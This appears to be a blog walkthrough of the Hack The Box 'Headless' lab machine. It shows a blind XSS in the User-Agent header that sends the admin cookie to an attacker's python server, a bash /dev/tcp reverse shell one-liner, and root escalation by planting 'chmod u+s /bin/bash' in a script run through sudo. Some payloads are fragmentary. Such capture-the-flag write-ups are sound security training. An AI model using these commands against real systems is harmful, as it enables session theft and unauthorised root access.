---
title: HTB - Headless
date: 2024-02-02 12:17:34 -0400
categories: [hackthebox , Headless]
tags: [HackTheBox, Python Werkzeug, XSS, User-Agent]
image:
path: /assets/img/post/headless/Headless-card.png
lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA
alt: Hack the Box - Headless.
---
## Box Info
| Name | Headless |
| :-------------------- | ---------------: |
| Release Date | 23 Mar, 2024 |
| OS | Linux |
| Rated Difficulty | Easy |
## **Enumeration**
```bash
nmap -A -Pn 10.10.11.8 -oG allPorts
```
[http://10.10.11.8:5000/](http://10.10.11.8:5000/)
## Scan Directory
We dont found anything interesting...
### BurpSuite
Now go to /support
And we try to intercept this with Burpsuite
If I try some HTML injection returns the HTTP request content.
The HTTP `response` headers show it’s a `Werkzeug / Python server`
**Exploitation**
**Blind XSS on User-Agent**
Try to figerout a large time i found the XSS over header put in a `header-false: a`
`
:/'+document.cookie);>`
**Python Server**
`python -m http.server 8020`
After Exploit XSS at User-Agent, we get a reply back with the **admin cookie** at the python server
[http://10.10.11.8:5000/dashboard](http://10.10.11.8:5000/dashboard)
**Reverse Shell**
```
#!/bin/bash
/bin/bash -c 'exec bash -i >& /dev/tcp// 0>&1'
#Create Reverse Shell script into a file, In my case I create .sh
```
**User Flag**
## Privilege Escalation
#### Check sudo -l
Syscheck
cat /usr/bin/syscheck:
### Exploit [initdb.sh](http://initdb.sh)
`echo "chmod u+s /bin/bash" > initdb.sh chmod +x initdb.sh`
- `chmod u+s /bin/bash`: Sets the set-user-ID (SUID) permission on `/bin/bash`, allowing users to execute the bash shell with the file owner's (typically root) privileges.
- `chmod +x initdb.sh`: This command changes the permissions of the file `initdb.sh`, making it executable (`+x`) by the file's owner, group, and others. This allows the script to be run as a program by the user.
```
sudo /usr/bin/syscheck
/bin/bash -p
```
`/bin/bash -p`: starts a bash shell with root privileges retained, due to the SUID bit making the shell run with the file owner's (root's) effective ID.
**Root Flag**